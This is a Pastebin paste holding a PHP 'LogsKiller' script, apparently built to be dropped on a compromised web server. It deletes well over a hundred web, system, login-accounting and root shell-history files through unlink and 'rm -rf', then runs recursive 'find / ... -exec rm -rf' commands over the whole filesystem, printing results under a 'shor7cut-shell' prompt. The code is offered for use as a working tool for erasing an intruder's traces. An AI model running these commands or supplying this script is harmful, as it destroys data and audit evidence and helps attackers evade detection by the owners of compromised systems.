Advertisement
shor7cut

Auto Delete Logs (LogsKiller)

Nov 6th, 2015
615
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. /* Mass delete logs by shor7cut */
  4. $logs_list = array(
  5.         '/usr/local/apache/domlogs/jdihgresik/',
  6.         'access-logs',
  7.         'logs',
  8.         '/etc/httpd/logs/access.log' ,
  9.         '/etc/httpd/logs/error.log'  ,
  10.         '/etc/httpd/logs/access_log'  ,
  11.         '/etc/httpd/logs/error_log'  ,
  12.         '/usr/local/apache/logs/access_log'  ,
  13.         '/usr/local/apache/logs/error_log'  ,
  14.         '/usr/local/apache/logs/error.log'  ,
  15.         '/var/log/apache/access_log'  ,
  16.         '/var/log/apache/error_log'  ,
  17.         '/var/log/apache/access.log'  ,
  18.         '/var/log/apache/error.log'  ,
  19.         '/var/log/access_log'  ,
  20.         '/var/log/error_log'  ,
  21.         '/var/www/logs/error.log'  ,
  22.         '/var/www/logs/access.log'  ,
  23.         '/var/www/logs/error_log'  ,
  24.         '/var/www/logs/access_log',
  25.         '/var/www/log/access_log',
  26.         '/var/www/log/error_log',
  27.         '/usr/local/etc/httpd/logs/access_log',
  28.         '/usr/local/etc/httpd/logs/error_log',
  29.         '/var/log/apache/access.log',
  30.         '/var/log/apache/error.log',
  31.         '/var/log/apache-ssl/error.log',
  32.         '/var/log/apache-ssl/access.log',
  33.         '/var/log/httpd/access_log',
  34.         '/var/log/httpd/error_log',
  35.         '/var/apache/logs/access_log',
  36.         '/var/apache/logs/error_log',
  37.         '/opt/lampp/logs/error_log',
  38.         '/opt/lampp/logs/access_log',
  39.         '/var/log/httpd/access_log',
  40.         '/var/log/httpd/error_log',
  41.         '/var/adm/SYSLOG',
  42.         '/var/adm/sulog',
  43.         '/var/adm/utmp',
  44.         '/var/adm/utmpx',
  45.         '/var/adm/wtmp',
  46.         '/var/adm/wtmpx',
  47.         '/var/adm/lastlog/',
  48.         '/usr/spool/lp/log',
  49.         '/var/adm/lp/lp-errs',
  50.         '/usr/lib/cron/log',
  51.         '/var/adm/loginlog',
  52.         '/var/adm/pacct',
  53.         '/var/adm/dtmp',
  54.         '/var/adm/acct/sum/loginlog',
  55.         'var/adm/X0msgs',
  56.         '/var/adm/crash/vmcore',
  57.         '/var/adm/crash/unix',
  58.         '/var/adm/pacct',
  59. '/var/adm/wtmp',
  60. '/var/adm/dtmp',
  61. '/var/adm/qacct',
  62. '/var/adm/sulog',
  63. '/var/adm/ras/errlog',
  64. '/var/adm/ras/bootlog',
  65. '/var/adm/cron/log','/etc/utmp','/etc/security/lastlog',
  66. '/etc/security/failedlogin','usr/spool/mqueue/syslog',
  67. '/var/adm/messages',
  68. '/var/adm/aculogs',
  69. '/var/adm/aculog',
  70. '/var/adm/sulog',
  71. '/var/adm/vold.log',
  72. '/var/adm/wtmp',
  73. '/var/adm/wtmpx',
  74. '/var/adm/utmp','/var/adm/utmpx',
  75. '/var/adm/log/asppp.log',
  76. '/var/log/syslog',
  77. '/var/log/POPlog',
  78. '/var/log/authlog',
  79. '/var/adm/pacct',
  80. '/var/lp/logs/lpsched',
  81. '/var/lp/logs/requests',
  82. '/var/cron/logs',
  83. '/var/saf/_log',
  84. '/var/saf/port/log',
  85. '/var/log/lastlog',
  86. '/var/log/telnetd',
  87. '/var/run/utmp',
  88. '/var/log/secure',
  89. '/root/.ksh_history',
  90. '/root/.bash_history',
  91. '/root/.bash_logut',
  92. '/var/log/wtmp',
  93. '/etc/wtmp',
  94. '/var/run/utmp',
  95. '/etc/utmp',
  96. '/var/log',
  97. '/var/adm',
  98. '/var/apache/log',
  99. '/var/apache/logs',
  100. '/usr/local/apache/logs',
  101. '/usr/local/apache/logs',
  102. '/var/log/acct',
  103. '/var/log/xferlog',
  104. '/var/log/messages/',
  105. '/var/log/proftpd/xferlog.legacy',
  106. '/var/log/proftpd.xferlog',
  107. '/var/log/proftpd.access_log',
  108. '/var/log/httpd/error_log',
  109. '/var/log/httpsd/ssl_log',
  110. '/var/log/httpsd/ssl.access_log',
  111. '/etc/mail/access',
  112. '/var/log/qmail',
  113. '/var/log/smtpd',
  114. '/var/log/samba',
  115. '/var/log/samba.log.%m',
  116. '/var/lock/samba',
  117. '/root/.Xauthority',
  118. '/var/log/poplog',
  119. '/var/log/news.all',
  120. '/var/log/spooler',
  121. '/var/log/news',
  122. '/var/log/news/news',
  123. '/var/log/news/news.all',
  124. '/var/log/news/news.crit',
  125. '/var/log/news/news.err',
  126. '/var/log/news/news.notice',
  127. '/var/log/news/suck.err',
  128. '/var/log/news/suck.notice',
  129. '/var/spool/tmp',
  130. '/var/spool/errors',
  131. '/var/spool/logs',
  132. '/var/spool/locks',
  133. '/usr/local/www/logs/thttpd_log',
  134. '/var/log/thttpd_log',
  135. '/var/log/ncftpd/misclog.txt',
  136. '/var/log/nctfpd.errs',
  137. '/var/log/auth',
  138. '/var/log',
  139. '/var/adm',
  140. '/var/apache/log'
  141. );
  142. $returnValue = explode('public_html',getcwd());
  143. $base_dirs = $returnValue[0];
  144. $dmain = $_SERVER['SERVER_NAME'];
  145. $arr_logs = array(
  146.         ''.$base_dirs.'usr/local/apache/domlogs/jdihgresik/'.$dmain.'',
  147.         ''.$base_dirs.'access-logs/'.$dmain.'',
  148.         ''.$base_dirs.'logs/'.$dmain.'',
  149.         ''.$base_dirs.'logs/',
  150.         ''.$base_dirs.'access-logs/',
  151.         ''.$base_dirs.'etc/httpd/logs/access.log' ,
  152.         ''.$base_dirs.'etc/httpd/logs/error.log'  ,
  153.         ''.$base_dirs.'etc/httpd/logs/access_log'  ,
  154.         ''.$base_dirs.'etc/httpd/logs/error_log'  ,
  155.         ''.$base_dirs.'usr/local/apache/logs/access_log'  ,
  156.         ''.$base_dirs.'usr/local/apache/logs/error_log'  ,
  157.         ''.$base_dirs.'usr/local/apache/logs/error.log'  ,
  158.         ''.$base_dirs.'var/log/apache/access_log'  ,
  159.         ''.$base_dirs.'var/log/apache/error_log'  ,
  160.         ''.$base_dirs.'var/log/apache/access.log'  ,
  161.         ''.$base_dirs.'var/log/apache/error.log'  ,
  162.         ''.$base_dirs.'var/log/access_log'  ,
  163.         ''.$base_dirs.'var/log/error_log'  ,
  164.         ''.$base_dirs.'var/www/logs/error.log'  ,
  165.         ''.$base_dirs.'var/www/logs/access.log'  ,
  166.         ''.$base_dirs.'var/www/logs/error_log'  ,
  167.         ''.$base_dirs.'var/www/logs/access_log',
  168.         ''.$base_dirs.'var/www/log/access_log',
  169.         ''.$base_dirs.'var/www/log/error_log',
  170.         ''.$base_dirs.'usr/local/etc/httpd/logs/access_log',
  171.         ''.$base_dirs.'usr/local/etc/httpd/logs/error_log',
  172.         ''.$base_dirs.'var/log/apache/access.log',
  173.         ''.$base_dirs.'var/log/apache/error.log',
  174.         ''.$base_dirs.'var/log/apache-ssl/error.log',
  175.         ''.$base_dirs.'var/log/apache-ssl/access.log',
  176.         ''.$base_dirs.'var/log/httpd/access_log',
  177.         ''.$base_dirs.'var/log/httpd/error_log',
  178.         ''.$base_dirs.'var/apache/logs/access_log',
  179.         ''.$base_dirs.'var/apache/logs/error_log',
  180.         ''.$base_dirs.'opt/lampp/logs/error_log',
  181.         ''.$base_dirs.'opt/lampp/logs/access_log',
  182.         ''.$base_dirs.'var/log/httpd/access_log',
  183.         ''.$base_dirs.'var/log/httpd/error_log',
  184.         ''.$base_dirs.'var/adm/SYSLOG',
  185.         ''.$base_dirs.'var/adm/sulog',
  186.         ''.$base_dirs.'var/adm/utmp',
  187.         ''.$base_dirs.'var/adm/utmpx',
  188.         ''.$base_dirs.'var/adm/wtmp',
  189.         ''.$base_dirs.'var/adm/wtmpx',
  190.         ''.$base_dirs.'var/adm/lastlog/',
  191.         ''.$base_dirs.'usr/spool/lp/log',
  192.         ''.$base_dirs.'var/adm/lp/lp-errs',
  193.         ''.$base_dirs.'usr/lib/cron/log',
  194.         ''.$base_dirs.'var/adm/loginlog',
  195.         ''.$base_dirs.'var/adm/pacct',
  196.         ''.$base_dirs.'var/adm/dtmp',
  197.         ''.$base_dirs.'var/adm/acct/sum/loginlog',
  198.         ''.$base_dirs.'var/adm/X0msgs',
  199.         ''.$base_dirs.'var/adm/crash/vmcore',
  200.         ''.$base_dirs.'var/adm/crash/unix',
  201.         ''.$base_dirs.'var/adm/pacct',
  202. ''.$base_dirs.'var/adm/wtmp',
  203. ''.$base_dirs.'var/adm/dtmp',
  204. ''.$base_dirs.'var/adm/qacct',
  205. ''.$base_dirs.'var/adm/sulog',
  206. ''.$base_dirs.'var/adm/ras/errlog',
  207. ''.$base_dirs.'var/adm/ras/bootlog',
  208. ''.$base_dirs.'var/adm/cron/log',
  209. ''.$base_dirs.'etc/utmp',
  210. ''.$base_dirs.'etc/security/lastlog',
  211. ''.$base_dirs.'etc/security/failedlogin',
  212. ''.$base_dirs.'usr/spool/mqueue/syslog',
  213. ''.$base_dirs.'var/adm/messages',
  214. ''.$base_dirs.'var/adm/aculogs',
  215. ''.$base_dirs.'var/adm/aculog',
  216. ''.$base_dirs.'var/adm/sulog',
  217. ''.$base_dirs.'var/adm/vold.log',
  218. ''.$base_dirs.'var/adm/wtmp',
  219. ''.$base_dirs.'var/adm/wtmpx',
  220. ''.$base_dirs.'var/adm/utmp',
  221. ''.$base_dirs.'var/adm/utmpx',
  222. ''.$base_dirs.'var/adm/log/asppp.log',
  223. ''.$base_dirs.'var/log/syslog',
  224. ''.$base_dirs.'var/log/POPlog',
  225. ''.$base_dirs.'var/log/authlog',
  226. ''.$base_dirs.'var/adm/pacct',
  227. ''.$base_dirs.'var/lp/logs/lpsched',
  228. ''.$base_dirs.'var/lp/logs/requests',
  229. ''.$base_dirs.'var/cron/logs',
  230. ''.$base_dirs.'var/saf/_log',
  231. ''.$base_dirs.'var/saf/port/log',
  232. ''.$base_dirs.'var/log/lastlog',
  233. ''.$base_dirs.'var/log/telnetd',
  234. ''.$base_dirs.'var/run/utmp',
  235. ''.$base_dirs.'var/log/secure',
  236. ''.$base_dirs.'root/.ksh_history',
  237. ''.$base_dirs.'root/.bash_history',
  238. ''.$base_dirs.'root/.bash_logut',
  239. ''.$base_dirs.'var/log/wtmp',
  240. ''.$base_dirs.'etc/wtmp',
  241. ''.$base_dirs.'var/run/utmp',
  242. ''.$base_dirs.'etc/utmp',
  243. ''.$base_dirs.'var/log',
  244. ''.$base_dirs.'var/adm',
  245. ''.$base_dirs.'var/apache/log',
  246. ''.$base_dirs.'var/apache/logs',
  247. ''.$base_dirs.'usr/local/apache/logs',
  248. ''.$base_dirs.'usr/local/apache/logs',
  249. ''.$base_dirs.'var/log/acct',
  250. ''.$base_dirs.'var/log/xferlog',
  251. ''.$base_dirs.'var/log/messages/',
  252. ''.$base_dirs.'var/log/proftpd/xferlog.legacy',
  253. ''.$base_dirs.'var/log/proftpd.xferlog',
  254. ''.$base_dirs.'var/log/proftpd.access_log',
  255. ''.$base_dirs.'var/log/httpd/error_log',
  256. ''.$base_dirs.'var/log/httpsd/ssl_log',
  257. ''.$base_dirs.'var/log/httpsd/ssl.access_log',
  258. ''.$base_dirs.'etc/mail/access',
  259. ''.$base_dirs.'var/log/qmail',
  260. ''.$base_dirs.'var/log/smtpd',
  261. ''.$base_dirs.'var/log/samba',
  262. ''.$base_dirs.'var/log/samba.log.%m',
  263. ''.$base_dirs.'var/lock/samba',
  264. ''.$base_dirs.'root/.Xauthority',
  265. ''.$base_dirs.'var/log/poplog',
  266. ''.$base_dirs.'var/log/news.all',
  267. ''.$base_dirs.'var/log/spooler',
  268. ''.$base_dirs.'var/log/news',
  269. ''.$base_dirs.'var/log/news/news',
  270. ''.$base_dirs.'var/log/news/news.all',
  271. ''.$base_dirs.'var/log/news/news.crit',
  272. ''.$base_dirs.'var/log/news/news.err',
  273. ''.$base_dirs.'var/log/news/news.notice',
  274. ''.$base_dirs.'var/log/news/suck.err',
  275. ''.$base_dirs.'var/log/news/suck.notice',
  276. ''.$base_dirs.'var/spool/tmp',
  277. ''.$base_dirs.'var/spool/errors',
  278. ''.$base_dirs.'var/spool/logs',
  279. ''.$base_dirs.'var/spool/locks',
  280. ''.$base_dirs.'usr/local/www/logs/thttpd_log',
  281. ''.$base_dirs.'var/log/thttpd_log',
  282. ''.$base_dirs.'var/log/ncftpd/misclog.txt',
  283. ''.$base_dirs.'var/log/nctfpd.errs',
  284. ''.$base_dirs.'var/log/auth',
  285. ''.$base_dirs.'var/log',
  286. ''.$base_dirs.'var/adm',
  287. ''.$base_dirs.'var/apache/log'
  288. );
  289. $logs_cmd = array(
  290.         'find / -name .bash_history -exec rm -rf {} \;' ,
  291.         'find / -name .bash_logout -exec rm -rf {} \;',
  292.         'find / -name log* -exec rm -rf {} \;',
  293.         'find / -name *.log -exec rm -rf {} \;',
  294.         'find / -name .bash_logout -exec rm -rf {}',
  295.         'find / -name log* -exec rm -rf {}',
  296.         'find / -name *.log -exec rm -rf {}',
  297.         'find / -name .bash_history -exec rm -rf {}',
  298. );
  299.  
  300. foreach ($logs_list as $key => $value) {
  301.         if(unlink($value)){
  302.                 echo "shor7cut-shell:~ unlink <font color=greenyellow>$value</font><br>";
  303.         }else{
  304.                 echo "shor7cut-shell:~ unlink <font color=red>$value</font><br>";
  305.         }
  306.         if(exec("rm -rf $value")){
  307.                 echo "shor7cut-shell:~ rm -rf <font color=greenyellow>$value</font><br>";
  308.         }else{
  309.                 echo "shor7cut-shell:~ rm -rf <font color=red>$value</font><br>";
  310.         }
  311. foreach ($arr_logs as $key => $values) {
  312.         if(unlink($values)){
  313.                 echo "shor7cut-shell:~ unlink <font color=greenyellow>$values</font><br>";
  314.         }else{
  315.                 echo "shor7cut-shell:~ unlink <font color=red>$values</font><br>";
  316.         }
  317.         if(exec("rm -rf $values")){
  318.                 echo "shor7cut-shell:~ rm -rf <font color=greenyellow>$values</font><br>";
  319.         }else{
  320.                 echo "shor7cut-shell:~ rm -rf <font color=red>$values</font><br>";
  321.         }
  322. }
  323. foreach ($logs_cmd as $key => $value_cmd) {
  324.         if(exec("$value_cmd")){
  325.                 echo "shor7cut-shell:~ <font color=greenyellow>$value_cmd</font>";
  326.         }else{
  327.                 echo "shor7cut-shell:~ rm -rf <font color=red>$value_cmd</font>";
  328.         }
  329.     flush();
  330.     ob_flush();
  331. }
  332.    flush();
  333.     ob_flush();
  334. }
  335.  
  336.  
  337. ?>
Advertisement
RAW Paste Data Copied
Advertisement